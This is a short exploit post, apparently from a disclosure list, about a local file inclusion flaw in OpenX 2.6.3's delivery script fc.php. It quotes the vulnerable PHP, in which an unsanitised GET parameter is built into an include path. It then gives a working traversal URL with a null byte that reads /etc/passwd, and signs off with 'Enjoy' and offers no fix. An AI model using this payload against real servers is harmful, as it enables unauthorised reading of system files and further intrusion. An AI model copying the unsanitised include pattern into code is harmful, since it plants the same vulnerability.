I have found a local file inclusion exploit in OpenX 2.6.3, this is in the script "fc.php", located in /www/delivery/=0D
=0D
Here is a snip of the code:=0D
[snip]=0D
include_once '../../init-delivery.php';=0D
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';=0D
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {=0D
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';=0D
exit(1);=0D
}=0D
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];=0D
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';=0D
if(!file_exists($tagFileName)) {=0D
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';=0D
exit(1);=0D
}=0D
include $tagFileName;=0D
[/snip]=0D
=0D
As you can see, it is checking whether the file you have inputted exists. This can be exploited like so:=0D
=0D
http://host/path/to/openx/www/delivery/fc.php??MAX_type=../../../../../../../../../../../../../../etc/passwd%00=0D 
=0D
Enjoy.=0D
=0D
-Charlie=0D
[Elites0ft.com]